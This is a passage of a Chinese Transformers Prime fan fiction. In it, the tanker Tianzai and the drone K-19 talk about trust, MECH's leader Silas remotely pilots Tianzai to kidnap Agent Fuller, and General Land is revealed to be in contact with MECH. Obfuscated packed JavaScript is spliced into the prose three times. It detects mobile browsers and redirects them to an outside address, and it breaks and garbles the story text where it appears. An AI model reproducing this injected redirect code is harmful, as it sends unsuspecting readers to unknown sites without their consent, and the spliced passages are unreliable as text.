天灾绷着脸看不清喜怒,而K-19看着他,没有惧怕他的平静可能是暴风雨前的宁静,也或许是在坦白的一瞬间就接受了自己在天灾手中可能的结局。 最终只见黑色的油罐车猛地置换出一口浊气后躺到了身后柔软的雪地上。 紧绷的机体自然地舒展,油压舒缓,体内系统自动校准,身后的烟囱散发出一些白色的烟雾,机体自动关闭了武器界面,天灾突然意识到这好像是他的机体第一次如此放松。 他看着蔚蓝的天空,也许地球这颗星球的确还是有些可取之处,他缓缓开口:“我可能一辈子搞不懂你们这些机子的脑回路,如果我真的是你们的敌人,现在你们山洞里的那些机子一个都跑不了。” “是的,”K-19没有反驳,“但你不会那么做的,你已经用行动告诉我们了。” 小油罐车发出了一声“哼”。 “而我相信你会搞懂为什么我们选择信任你的,就像你总会搞懂什么叫做信任。” “我相信你会自己找到答案。” “……” 矿机絮絮叨叨,似乎认定天灾会“自学成才”,然而小油罐车暗自诽谤,假如自己的处理器真的高端到可以无师自通,又何必来问他。 良久,两个机都不再说话,他们陷入了诡异的宁静。 天灾看着天空不知道在思考什么,而K-19享受着偷来的空闲时光。 他看看流动的云,又看看躲在他们脚底“偷窥”他们的动物们,只觉得一切都新奇,排除掉来自霸天虎内部的偏见,他赞同地想,如果他们没有来到这里,这颗星球实际上是个非常美丽的地方。 几只受惊的鹿从他们身侧掠过,他出神地盯着这些和赛博坦的机械鹿相似的生物,只是不知道这里会不会有能够变形成火箭的独角兽?那样的话自己身边这个一直绷着脸的机子一定会吓一跳的吧。 K-19难得起了点坏心思。 小油罐车就算再怎么假装又或者成长,终究只上线了不到半个月而已,在K-19看来实在是一架将情绪都写在脸上的稚嫩机子,但和这样一台机子成为朋友的感觉并不差。 K-19又瞄了一眼他的涂装,和量产杂兵统一的机体不同,天灾身上新换的载具模式相当惹眼,K-19确信他应该是在新载具上增添了一些个人特色,毕竟小油罐车后腰上的发光带在此之前可从没发过光。 与之相对的,矿机身上缺少保养的机体自然比不上刚刚给自己扫描了一辆新型载具又重新粉刷过漆的油罐车,受损严重的地方已经脱落露出了底层的银色,一些不怕生的小动物见两个庞然大物不动弹便认为危险解除,大胆些的鸟雀正在他们身前不到十米的地方寻找能吃的食物。 K-19看着它们出神。 “喂,”小油罐车就这样突兀开口,“说到底你还是没告诉我为什么要选择信我。” “你只是将问题最后又抛给了我。” “因为是同类就信任这种话也就你们能说得出口,”他谴责地看向K-19,“而我确信不会有没来由的信任,有时候我甚至觉得你们有些过于自来熟。” “K-75也是,你也是,就那么笃定我不会反悔吗?还是说你们因为我的框架就单方面认定我和汽车人领袖的性格也一模一样?”面对天灾的突然“质问”,K-19只是微微怔愣:“当然不是。” 看起来这辆油罐车不光认死理还相当较真,不过K-19自身也没什么能吐槽他的资格,同为赛博坦人,谁又比谁能够天真到哪里去,他明白天灾一味地追问来自于信任的缺失,他今天必须要给出一个合格的答案,这也将成为日后他们能够保证“交易”成立的前提。 他沉吟片刻,最终告诉天灾: “在赛博坦,我们相信一个机的光学镜可以反射出他们火种的颜色。” “就像威震天陛下的光学镜中是无法停止燃烧的愤怒,红蜘蛛指挥官的光学镜中是野心和复仇的恨意,而汽车人的士兵眼里是无法得知未来的绝望和对战争的麻木。”K-19一个个说过去。 “就和我们一样。”他想了想,补充。 “而你不一样,你的眼睛里……很干净。” “我可以看到你的愤怒和对战争的渴望,但你很清楚你的敌人是谁,同样也没有将刀刃对准我们。” “你不会攻击我们,就像你向我承诺的那样,你信守你的誓言,而我相信我的直觉。” “所以这也是为什么你们接纳了我?” K-19转过头,声音轻快:“因为你看起来很饿。” “而且我们不攻击中立派。” 天灾突然坐起来,吓跑了在他们跟前觅食的鹿。 “又是这句话,中立派、汽车人、霸天虎,你们将这些看的很重要,重要到优先级要高于你们的生存本能,这也是量产机的底层代码在强制你们执行吗?” 他像是突然激动起来,说个没完。 “而且你们为什么管擎天柱叫作汽车人的卒子?议会的走狗又是什么?” 他一股脑将初见时的疑惑问出声,“我的数据库显示汽车人的最高领袖只有擎天柱一人,而所谓的议会更是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他将这些信息记录进了调查事项,着重标记了红色。 他松开扶住K-19的手,换了个话题。 “那么就暂且别想了,我不希望好好的机子在和我见面后破破烂烂的回去,再传出什么奇怪的谣言,让那些咋咋呼呼的小飞机徒增惊吓。” K-19此时也缓了过来,听见天灾的话笑了几声,“他们不会的,我们嘴很严的。” “就像你偷摸捡机藏起来到现在也没被发现?”天灾瞥他。 “当然,”说到这个K-19甚至骄傲起来了,“不过不止我一个人的努力,其他矿场的同伴也在帮忙,而且长官们很忙,顾不上几架量产的失踪。” “……你在骄傲什么劲儿啊,”经过刚才那一遭他们之间的距离也无形拉近了很多,天灾吐槽了一句,“而且他们的伤怎么办,现在的医疗条件不足以彻底将他们治好吧?K-75的锈蚀情况并没有得到什么好转。” 他真情实意的担忧,他们成为同伴的时间尚短,但他记得那些量产机对自己散发出来的善意。 他不想拖欠他们任何人情。 K-19的机翼随之降了下去,紧紧贴着自己的机身,甚至让人幻视出一些可怜来。 飞行单位的机翼,好作弊的一个东西。 K-19神情落寞,“我会尽力从击倒长官那里借一些药物出来。” 天灾挑眉。 他不清楚两方阵营的人员组成,面对自己两个sire的邀请也并没多少实感,此时因为涉及到了同为“同伴”的量产们才打起精神听K-19解释道:“自战争开始,医疗资源就是两方阵营最重要的争夺目标之一,医官自然也成了被争夺的对象。” “我没把握能恳求到击倒长官的帮助。” “霸天虎这边只有击倒一个医官?” “对,”K-19点头,“其实还有吊钩长官,但他在战争白热化期间和大部队失散,目前没有在地球的通讯范围内,我没把握能联系到他,而且恳求他的概率……” 天灾耐着性子听完,微微沉吟,他们可以等,但是伤员们的伤势未必等得到下一个循环。 他思索着,突然想到了子空间中被他“收缴”上来的人类所研发的那些仪器。 灵光一闪,小油罐车的光学镜又亮起来了。 “我有个好主意。” 他打了个响指,而K-19捧场地问,“是什么?” “霸天虎不行,汽车人呢?”光学镜闪闪发亮,他勾起一抹得意的弧度,“我有把握让他们来帮我们。” K-19还有些担心,身为杂兵他只在两方阵营混战时远远瞥见过几眼领袖的模样,拿不准他的性格会不会帮忙,但见小油罐车胸有成竹的样子,他决定相信这个同伴。 K-19于是也笑起来。 实际上矿机并没有比小油罐车大上多少,此时他笑出声天灾才察觉这个看似经历过很多的飞行单位有着一口很清爽的嗓音。 解决了当务之急,天灾心情颇好地拍了拍自己腿部装甲上的灰尘,冬季森林的风也带了一丝凛冽但对于赛博坦人而言如今的温度只能称得上正常,雪花甚至给他的内部齿轮带来了一丝舒爽。 他们又陷入了沉默,但氛围却比一开始的僵硬更加柔和。 良久,就在离开的时间到了的时候,天灾像是想到了什么,他又转过头直视着K-19的光学镜问道: “最后一个问题。” “你收到了抓捕我的命令吧。” “为什么没有将我送给威震天?” 矿机怔愣一瞬,随机冲着他笑了。 “因为你还没想好,不是吗。” 30.绑架 油罐车流畅的变形,对K-19的回答回以畅快的大笑。 “你是个很有趣的家伙,K-19。” 天灾的引擎发出阵阵轰鸣,橡胶轮胎在地面上摩擦着滚出气浪,对K-19给出的答案不置与否。 “但你或许真的说对了一点。” “信任是自然发生的。” 他启动发动机,而飞行单位立刻反应过来,追在他身后大喊:“所以你现在是将信任托付给我们了吗!” 油罐车用两声鸣笛替代了回答。 K-19光学镜一转,在他身后无奈地摊手,“那我就告诉K-75了哦!” 这次小油罐车隔着老远的喊声和K-19手中通讯器里天灾的声音同时传了回来。 “不准告诉K-75!!!” 听见油罐车语气里的不敢置信,小飞机忍不住偷笑了两声,随即也变形离开了这里。 …… 油罐车悠悠晃晃地往机械党的基地开,在这样任务完成的事后塞拉斯是不怎么会管他去哪里的,只要GPS的定位没有出现明显的偏离,天灾就不必担忧出现暴露什么,然而小油罐车能获得的娱乐实在稀少。 看看今天路边有没有在准备过马路的乌龟,看看草丛里下了崽的母狐有没有顺利回窝,再看看有没有挂在彼此鹿角上的雄鹿,这就是小油罐车拥有的所有可以转移注意力的东西。 将最后一头雄鹿驱逐出公路,他漫不经意地路过那个名叫安娜的女孩的房子,灯光一如既往地亮着。 一头棕发的女孩也一如既往地在厨房准备着晚饭。 女孩踩在小凳子上才能勉强在比她还高的厨台上忙碌,冬天的夜晚来临的更早,她不得不比夏天付出更多时间为肯利·艾佛利准备食物。 好在这几天肯利·艾佛利在酒吧没受什么气,回家也没怎么为难她,起码在小油罐车来的这几天女孩身上都没有再添新的伤口。 一顿晚饭在女孩娴熟的手法下很快端上餐桌,然而现在距离男人回来的时间尚早,为了防止饭菜变凉,女孩跳下小凳子,将手里的餐盘都放进了烤箱。 晚饭完成,她今天最难的家务就做完了,但她还得多做一些三明治,这次是为了给自己填饱肚子。 房间里女孩像是小仓鼠忙得停不下来,小油罐车一边观察着她一边停在森林中熄了火。 寒风刮起,雪花很快埋住半截轮胎,刚刚热起来的引擎也冷却下来了,他停在那里一动不动,仿若一辆被随意丢弃在这里的地球车辆。 房子里的灯光昏暗,但看起来在那天之后肯利·艾佛利还是想办法交上了电费。 女孩的手尖因为水的浸泡而微微红肿但天灾没再看见安娜像他们见面那天一样被冻到缩成一团。 这是个好现象。 他没在森林里待多久,肯利·艾佛利就踩着夕阳的影子回了家。 女孩习以为常地缩在餐桌一旁警惕着男人任何可能发怒的动作,然而男人完全无视了女孩的存在,在吃过晚饭后就径直上了楼,在自己的房间倒头就睡。 入耳的鼾声响起,女孩小心翼翼地收起餐盘,没有发出一丝噪音。 厨房微小的水声没吵醒呼呼大睡的男人,安娜收拾好了碗筷也回了自己的房间。 通过小油罐车的视野,他能看见女孩一边吃着自己做的三明治,一边翻阅着一本老旧的童话书。 天灾曾经不明白安娜为何仍然选择回去忍受男人的殴打与责骂也不明白女孩嘴中的责任是什么,但安娜不是傻子,肯利的性子越来越阴晴不定,上次的事情让女孩提起了警戒心,她的父亲已经不再是“父亲”了。 如今父亲厌恶的眼神已经成为安娜入睡前难以忘怀的噩梦,她甚至能够在肯利回来的每一刻感受到死神不知何时落下的镰刀。 梵妮最后的呼唤好像又在她的耳边低语,她看着手里梵妮给她读过的故事书握紧了手。 女孩暗自盘算着什么,不管是肯利·艾佛利还是外面的赛博坦人都没有意识到她做出了怎样的一个决定。 天灾一直等到安娜关掉了自己房间的灯光才离开了这里。 他一边往回走,一边暗暗盘算着自己的那个好点子要如何实现,他的计划可以慢慢来,但那些伤势严重的量产们等不了那么久,最多一个周期,他必须得让汽车人那边出手救人。 等他心事重重地回到机械党的基地时,车身上风雪的痕迹在发热的机体上已经没了踪影,而机械党的士兵手里已经拿上了他上次给他们带回来的武器的雏形。 天灾的光学镜微暗,仅仅一天时间,这些人类就将全部己方阵营的枪械都进行了迭代,这种速度不得不让他庆幸自己当初毁掉了更多资料的选择。 塞拉斯这次没什么多余的废话,对他的去向仿若一无所知地开口道: “天灾,这次的任务地点在贾斯帕,任务目标:威廉·富勒。” “我要你把他抓回来。” “活的?”天灾问。 机械党的首领点点头,给出了肯定的答案。 所以,他们找这个名叫富勒的人类是要做什么? 他们已经有了军方的资料、武器,也已经拥有了一个奸细,他们不可能再费着可能暴露的风险“驯服”第二个内奸…… 更关键的,在如今这个局势中,这个人类又隶属于哪一方势力? 天灾暗自思索着,面上却不动声色接下了这个任务。 他正欲离开,塞拉斯却打断了他,男人抬了抬下巴,身后的副官便得到命令上前一步露出了自己的身形。 天灾注意到他手中拿了一套…… 等等,那是一套拘束服吗? 他暗暗打量了两眼副官,副官在赛博坦人明显不怀好意的眼神中打了个寒颤,随即又忍耐住心底的奇怪,面无表情地开口,“这次行动我将与你同行。” 哦,他懂了,这个拘束服是给那个即将成为俘虏的人类穿的。 天灾在芯底给那个即将遭罪的人类默哀,但这个可不是他当初与塞拉斯交易的内容之一。 他们的交易里明确写了除了塞拉斯外其他人不可能再靠近他。 塞拉斯像是也在此时意识到了这点,面对原生体移过来的目光只是微微示意副官坐到了另一辆伪装的汽车中。 天灾见状松了口气。 交易本身对身为上位者与优势方的塞拉斯约束并不大,他当然意识到了这点,但当时那种情形他不可能放弃这种可以被争夺到的权利。 眼看一切就绪,他才向着塞拉斯询问:“既然能够成为我的任务目标,那么这个……‘富勒’就一定拥有与之相对的能力吧,你怎么确信光凭一个名字我就可以抓到他?” “而且我的大功率武器不可能用在活捉人质上。” “除非你想得到一摊被打碎的烂泥。” 面对他的询问,塞拉斯自傲地点了点自己的太阳穴,一个小巧的红色装置被科学家托举着戴到了他的头上。 系统激活,天灾的处理器在指示器亮起的瞬间晕眩,机体因为失去水平感而产生晃动,他意识到自己并不陌生这股熟悉的感觉。 光学镜在基地内迅速扫视,不出他的所料,在基地的屏幕上再次出现了他光学镜中所看见的影像。 一个难以掩饰嘴角笑意的男人正在他脚底冲着他抬起左手臂。 那是塞拉斯。 “所以,你们看人类就是这样的视角。” 他试探性地晃动自己的手臂,油罐车眼看着自己的机体再次拥有了“自己的想法”,跟随塞拉斯的动作也晃动了自己的左手。 “至于你担心的问题。” 他满意地验收了成果,慢条斯理地回答:“你不需要‘抓’到他。” “你只需要在一旁看着。” “因为我会全程‘跟进’这个任务。” 天灾在不再归他控制的机体内翻了个白眼。 这就是他们的目的,抓富勒是假,趁机实验他们对他机体的控制才是真,而且看起来科学家在上次的经历后对他们的设备进行了升级。 笨重的电脑成为了监视器,转而将所有控制系统藏于塞拉斯头顶的仪器中,用实时的肢体控制他的行动。 但这依然改变不了他被机械党的操作恶心到的现实。 他体内的水平仪因为两种截然不同的神经的控制产生了偏移,处理器因为不知道该听从哪具“机体”的命令而产生了大量的乱码和数据混乱。 他按耐下油箱翻腾的机体不适,一条条地删除这些未知授权,眼看着塞拉斯控制自己变形再次离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922129|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这座基地。 去往贾斯帕的路上,黑色的油罐车歪歪扭扭的路线显然拜还不熟悉机体的塞拉斯所赐,两种视角的转变哪怕是再强的人类也得适应片刻,而在小油罐车眼睁睁看着自己撞倒了第四棵无辜的松树后塞拉斯终于掌握了“窍门”。 这有点像是一个显示屏却有两个连着手柄的玩家,而现在天灾的手柄被拔了连接线,因此他只能看着塞拉斯拿着自己的机体像是个没有脑袋的丧尸一样横冲直撞。 说实话这些剐蹭和撞击并不疼,但实在是羞辱,他只能暗自祈祷这次任务不要让他碰到任何一个汽车人或者霸天虎。 他难以想象红蜘蛛看见这一幕会给他笑出什么样的声音,但他发誓如果真的被人看见,自己的暗杀名单就要再多一个机的名字。 可能因为相似的四肢,在人形形态下天灾的机体基本不会受到太多限制,但汽车形态下塞拉斯简直像个第一次开车的新手。 好在他上手的很快,在几次试错后油罐车终于能平稳地驶出一段距离了。 天灾在自己的机体内看着自己来到了一片他从未涉及的土地。 因为宵禁的时间限制,他没来到过这么远的地界,因此这座名为贾斯帕的城镇的安静让他印象深刻。 这过于偏远的小镇不像女孩的小镇那样热闹,他们的闯入没有惊起一声犬吠,好似所有人都随着夜色的降临消失了。 只有零星几户的灯光显示着这里还有人居住。 塞拉斯控制着他在郊区停下了引擎,副官的车辆紧随其后,在距离他500处埋伏了下来。 两者呈现了一个相当明显的包抄阵势,天灾的机体虽然失去了自己的控制但她的CPU还依然活跃着,没有耗费多少精力他就计算出了塞拉斯目标的准确位置。 那个名叫威廉·富勒的人类就在眼前这栋灯火通明的房子里。 塞拉斯应该是研究过他机体的基础功能,他光学境内的扫描仪自动启动,在机械党的屏幕中明确显示出了三个人类男性和两个人类女性的身影。 塞拉斯在基地那头感慨天灾的好用,而这边的油罐车却依然死死盯着那个明显气质和身边几个人类都不一样的男人。 天灾敏锐地察觉到那个男人就是这次任务的目标。 “是的女士,”被认定为目标的男人向着其中一个年长的人类女性保证,“我很确信拉菲能够在这方面给予我们许多帮助。” “哦,我明白您的担心,但请放心,我们对拉菲的能力很有信心,对我们的安保也有很大的信心,您的孩子在我们这里一定会大有作为。” 他又安抚了几句才带着三个明显还没成年的孩子离开了那座房子。 年长的女性目送他们离开后关上了门,而在这之后那三个孩子明显放松了许多,也开始和他们的任务目标打闹起来。 天灾的音频接收器在他们的闲聊中捕捉到了他们的名字。 也捕捉到了汽车人领袖的名讳。 所以汽车人的确和人类有接触。 还是和三个人类幼崽。 他暗暗比较安娜和这三个孩子,发现女孩可能也就和这里面叫作拉菲的孩子差不多高,可能还要矮一点。 这也和安娜的处境有关系吗? 影响因素可能是食物和温饱?这些东西可能会影响人类的生长情况吗。 也许等他完成这次任务会有时间搞清楚这一点。 等待的时间让他有些走神,而塞拉斯也就在这时,控住他猛地冲出了黑暗! “掩护!有敌袭!”任务目标率先注意到了他们,他一边大喊,一边动作迅速地将三个孩子都护在了身下。 混乱随之而起,汽车人的攻击转瞬即至,可惜没能突破天灾外装甲的防御。 孩子们惊恐地大叫,向着自己的汽车人伙伴跑去,他们或许是认为这些人类幼崽才是天灾的目标,所有人都专注掩护着孩子们的撤离,也因此富勒的身影在塞拉斯控制着天灾发出一击佯攻后明显地暴露了出来。 塞拉斯没给他们多余的反应时间,在远处待命的汽车人赶过来之前控制油罐车变形出一只手将呆愣的威廉·富勒丢进了自己的车厢中。 富勒的挣扎都被油罐车的安全带束缚住,他们在人类孩子和汽车人惊恐的目光中扬长而去。 31.引子 「可怜的富勒,他在最不应该死亡的年纪去世了」 富勒特工的脑袋里开始出现自己配音的旁白。 老实讲,这并不好笑——考虑到他如今就在无名劫匪的车座上被绑得动弹不得。 皮质安全带里三圈外三圈将他包裹了个严实,联系用的通讯器和身上的GPS从他进入车厢的那一刻就停止运作了,他能从自己后腰不断振动的那个小仪器上感受到。 好消息是GPS停止向山姆大叔传输位置信息的第10秒主控中心就会收到他失踪的消息并上报。 坏消息是在他们搞清楚是谁绑架了他、把他绑架去了哪里、目的是什么之前,他得自己撑过去救援到达前的这段时间。 但威廉·富勒是一个相当忠诚的人,所以他不会向这帮恐怖分子透露一丝一毫的消息的,绝不。 他瞪着眼愤愤地盯着眼前这辆内饰越看越熟悉的油罐车,身体使劲扭动着,想要给自己的手活动出一个更加宽松的空间,但显然他的小肚腩阻碍了这一点。 啊威廉·富勒,也许你的胆固醇问题也是该提上日程了。 看看除了给自己累出一身汗外毫无作用的挣扎,富勒特工意识到。 也就在这时,油罐车的内置音箱中传出了另一个男人的声音。 “威廉·富勒特工,初次见面。” 那个声音气定神闲地说。 “很抱歉用这种方式邀请你到我们的基地做客,但我相信我们会谈得很开心的。” 富勒立刻将生气的矛头对准了这个听起来“文质彬彬”的陌生男人,他奋力扭动,将自己的嘴从束缚中解放了出来。 “有本事你就当面和我进行交流,只会躲在背后的伪君子!” 口舌获得自由后,他立刻开始大声辱骂这些人的胆小和怯懦,声称他们干这种勾当就和阴沟里的老鼠无异。 如果不是机体受限,天灾会给他鼓掌的,连带着对富勒特工的印象也好上了许多。 只会躲在地下偷摸窃取,不是地球上的老鼠又是什么。 富勒特工一边用着天灾从没听过的创新词汇辱骂一边期盼通讯另一头的人会因此破防并在愤怒中透露给自己更多信息,然而他低估了塞拉斯的忍耐力,面对富勒特工层出不穷的羞辱性词汇,塞拉斯只是轻笑一声打断了富勒特工的自我发挥。 “省省你的力气吧,特工,我知道你想要激怒我,但这些手段对我不起作用,我建议你将这些脑力留到我们见面,我很确信那时候你会更需要动动你的脑袋。” “……内部成员?”闻言,富勒特工一改刚刚的模样,冷静地问。 “也许等我们见面,我会愿意和你交换更多信息。” 对面的男人没有接他的话,“但你可以叫我——塞拉斯。” “现在,富勒特工,享受你的‘兜风’吧。我很确信我们很快会见面的。” 自称为塞拉斯的男人只说到了这里就自行挂断了通讯,任凭富勒再怎么试探也不再给任何回应。 “Damn it!”富勒特工愤愤不平地停下了话茬,不忿地盯着天灾的收音器,好像这样就能把通讯器对面的那个男人揪出来一样。 与此同时,在天灾的通讯页面,他能听到塞拉斯向自己下达的最后一个指令——将富勒平安送达机械党的临时基地,并附赠了一个新的地址坐标。 当然了,他们怎么可能会将大本营透露给富勒呢。 那个狡猾如霸天虎的机械党头子还不至于冒着暴露自身的风险绑架一个还不知道具体能起多大作用的特工,小油罐车再次翻了个白眼。 但值得高兴的是随着传送过来的坐标同时归还的还有天灾机体的自由控制权。 终于。 天灾在拿回自身机体控制权的第一时间是加大速度以一种大型货车司机绝不敢开出来的速度冲了起来。 这让车座上被绑住的富勒发出了更大声的抗议,这次是真情实意的。 “停!停!停!!你想杀了我吗!塞拉斯!停下!!!” “啊啊啊啊!!!” 富勒特工大叫着,如果不是因为天灾绑着他的安全带实在是紧,他甚至要整个人从前座折到后座去了。 但即使还四肢健全地坐在副驾上,他看起来依然像是半条魂已经随着天灾的飙车一起飞出去了。 现在他明白为什么擎天柱不希望自己开太快了。 这实在是太恐怖了,他们看起来距离飞出悬崖连半米的距离都没有!!! 他大喘着气在座椅上抓紧了绑着自己的安全带,活像条脱水的鱼,整个人脸色惨白。 这辆车到底是有什么毛病! 他在内心大声呻吟。 而实际上,小油罐车对于自己车厢中的人质并无任何意见。 飙车时带来的机体全速驱动和风吹过机身带给他的安全感才是他想要的。 他实在是需要一场发泄。 短暂的生死时速很快带走了他火种上的不快,他降低了车速,而这也让富勒特工找回了自己的理智。 “老天,我已经不年轻了!不管你是谁,既然你们已经抓住我了起码在审讯前应该告诉我你们想要什么!” 车座上的人一边大声抗议着,一边继续小心翼翼地扭动着身体调整着角度,试图从安全带中找出一条解脱的生路来。 该说不愧是特工吗,适应的能力相当惊人。 小油罐车暗自评估着他,但他的评估停止在富勒特工挪动着屁股试图在天灾的换挡器和自己的手之间制造出空挡的时候。 天灾忍了又忍,车速升了又降,机体内部油压在危险值的边缘反复横跳,最终,他还是放弃了沉默。 “停下,人类。” “什、什么?” 富勒特工吓了一跳。 天灾机体的油压又上升了一些,“我说让你停下,肉虫!” 他几乎是在冲着富勒吼了,普莱姆斯在上!他们到底有没有意识到自己到底有多恶心!别在他的机体里面尤其是车厢里挪他的屁股了! 这简直……更像是噬铁虫了。 他恶狠狠地威胁富勒,“你再这样乱扭,你就准备挂在外面被我拖回基地吧!” 富勒看起来似乎是被他吓住了,但不愧是经过专业训练、与汽车人磨合过、心理素质极强的专业人员,他很快意识到了是谁在和自己说话。 “你……你是这辆车?!” “这难道不明显吗!碳基!”天灾终于没按耐住自己的油压,颇有些气急败坏地说。 “我以为你早在被我绑架之初就该明白这一点!” “嘿!又不是每一场地球上的绑架都是赛博坦人组织的!”富勒反驳他。 面对富勒的话,小油罐车冷笑一声,“呵,那你是做好被拖回去的准备了是吗。” “我很乐意让塞拉斯收获一摊看不出人形的烂肉。” “……听起来你和塞拉斯不合是吧?” 人类问道。 天灾敏锐察觉到了富勒的试探。 可真是无缝衔接套话啊是不是,这些人类就是本性难移,他打起警惕,但很可惜,他的处理器可是储备了相当多的战争资料,这种手段对他也不会起效。 “这关你什么事。”天灾冷酷地说。 “……那这样,打个商量,”富勒特工好像自从知道他是赛博坦人后就莫名其妙放松了,这让天灾的危险雷达直响,“我不会逃跑,但你把你的安全带解开,你快让我窒息了。” “休想。”小油罐车在他看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938137|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见的角度瞥了他一眼。 “God,看看我的处境!我可是被一架酷似领袖的赛博坦人绑架了!难道我还能跑到哪里去吗!毕竟绑架我的可是一架技艺高超的机甲!” 富勒说。 不知道是这句话里的哪一个词取悦到了这辆漆黑的油罐车,富勒十分庆幸地发现那些勒住他的安全带回到了它们应该呆的地方。 “这才对嘛。”他揉了揉被安全带勒住红印的脖子,老天,这辆油罐车下手可真是狠。 他一边假装咳嗽揉着自己的脖子一边观察着这辆油罐车。 所以,他就是领袖的亲子,哼? 他的观察力还不至于差到认不出这一点,但或许是领袖的带给他的刻板印象让他一开始错误评估了这辆油罐车的性子,比起擎天柱,他显然更像是威震天,但又比威震天的危险性要更加……可控。 短短几个瞬间他就摸准了他的性格,顺着毛捋但不能明着忤逆。 好吧,看起来他们会和谐相处的。 富勒安稳坐在了副驾驶上,他努力记着沿途的景色,试图在后续的工作中给汽车人或者政府提供一些线索。 是的,他从一开始就没怎么慌乱,这种级别的绑架他们平均每个月要经历两到三次,算下来基本一星期一次。 油罐车平缓地试过又一个小镇,富勒特工忍耐不住这死一样的寂静,询问道:“所以,额,你的名字叫什么?” 没有回答。 特工不安地又开始挪动自己的屁股,“不善言辞哈,没关系,我理解你,要是在塞拉斯那种人手底下工作也的确活泼不起……但你和他是老板和雇员的关系?他用什么打动你?能量?金钱?还是什么宇宙货币?等等,你们有宇宙货币吗?领袖从没和我们讲过,你们还有……” 絮絮叨叨的念叨足以让每个赛博坦人崩溃,小油罐车觉得塞拉斯让自己和这个富勒共处简直就是种新型折磨。 “……别再乱动了!”他忍不住大吼。 “那你起码该告诉我你的名字!” “我保证我不会乱动的,如果你告诉我你的名字。”人类狡猾地问。 最终小油罐车权衡再三,还是告诉了他。 “……天灾。” 他闷闷地回答。 “哦,太好了,所以现在我们都知道彼此的名字了,真好。”富勒特工说。 而小油罐车心想,这个人类真的信守承诺没再乱动了。 接下来的路段他们很正常也很安静地行驶过,最终出现在机械党面前的是自己打开车门主动跳下来的富勒特工。 “好了小塞,让我们解决一下我们之间的问题吧。”精气神很好的特工冲着塞拉斯挥了挥拳头。 鼻梁上横着一道疤的男人傲慢地俯首看着略显臃肿的富勒,挥退了身后举起枪来的其他人。 “当然了,富勒特工,毕竟,我们只是想找你做个交易。” 面对富勒脸上的疑惑,他补充道: “更准确地来说,是和你背后的组织。” 一声脆响打破了他们之间的静寂。 “啊,看看我们说什么来着,说曹操曹操到。” 一个军方的通讯代码赫然显示在屏幕上。 “接通。”塞拉斯下令。 富勒特工上司的那张脸出现在了他们面前。 “兰德将军。”塞拉斯微微颌首。 出乎富勒意料的,他的上司对塞拉斯……对这个绑架他的组织看起来并不陌生。 兰德将军背靠着x国军方的标志冲着塞拉斯微微点头。 “塞拉斯。” 那一瞬间,富勒意识到,他的上司知道这一切。 发生在这里的一切。 Everything. 32.交涉 “那么,我想你就是我们的幕后主谋先生了。” 兰德将军将手支撑在桌子上,眼睛微眯,偷过大屏幕,天灾能感受到他眼睛中的算计,他对着塞拉斯问好,然而天灾能感受到他对自己的关注。 人类的眼球在机械党的临时基地中转了一圈便锁定了在目瞪口呆的富勒特工身后的那辆军用油罐车。 运输车漆面光亮,单面挡风玻璃一片漆黑看不清内部的构造,但当你注视到这辆特殊的车,你会知道他就是那个“special one”。 兰德将军在内心感慨己方的一叶障目。 在上次的“入侵事件”发生后,军方进行复盘时不是没注意到那辆在事后离开基地的油罐车,但他们一心一意寻找“领袖”的卡车机体,却忽略了它。 现在,他们终于正式“见面”了。 汽车人以为人类会坐视外星人的威胁而什么也不做吗? 瞧瞧他们造成的破坏! 霸天虎、汽车人,归根到底不过都是一群暴徒,他已经充分预测到这群外星人日后会对地球造成的威胁,人类必须握住这场战局中最顶尖的武器才能确保自身种族的安全。 他不止一次在会议中提交预案,可惜他的上级却一直不批准他的计划。 掌握外星人的科技有什么需要顾忌?上司们只会对他打着太极拳转而指望汽车人领袖的怜悯! 兰德将军对此嗤之以鼻,当敌人出现在他们面前,难道他期盼他们是来送圣诞礼物的吗? 归根到底他还要感谢一下这辆油罐车,多亏了他的毁灭性效果,上级终于同意了他的计划。 他看着维持载具模式的天灾,然而他眼神中的打量却被油罐车理解为了不怀好意。 考虑到天灾这几次任务的内容,他有充足的理由怀疑怀疑这个将军是想要将自己大卸八块。 而从他混乱的处理器记忆中,他也记忆起了这个兰德将军,火焰中男人的脸庞和现在男人的神情相重合。 在一片混乱中记忆起某个特定的人类实在是强人所难,但天灾对自己的记忆模块很有自信而他的机体没有辜负他的信任。 “幕后主使并不……确切。” 塞拉斯像是彻底将天灾与富勒特工忘之脑后,男人和兰德将军专心致志地进行着这场彼此心知肚明的交流。 “我坚持‘塞拉斯’,你可以继续这个称呼。” 他微微点头,然而兰德将军不吃他这招,久居高位的军官微微皱眉打断了他假惺惺的自我介绍。 “利兰·比绍普。” “隶属于x军特殊作战部队,于xxxx年从军中无故消失,目前处于阵亡状态。” “五年前被人目击在贾斯帕地区活动,与此同时军方资料中出现内部缺口。” “你不会真的认为我们对你们一无所知吧?上尉?” 兰德将军慢条斯理地放下了手肘,接过了身后士兵递给他的茶水,润了润嗓子。 刚刚凛冽的气势又弱了下去,像是在给机械党反应的时间。 “如果你需要,我们也可以提供一份机械党内部成员真实姓名的点名表。” 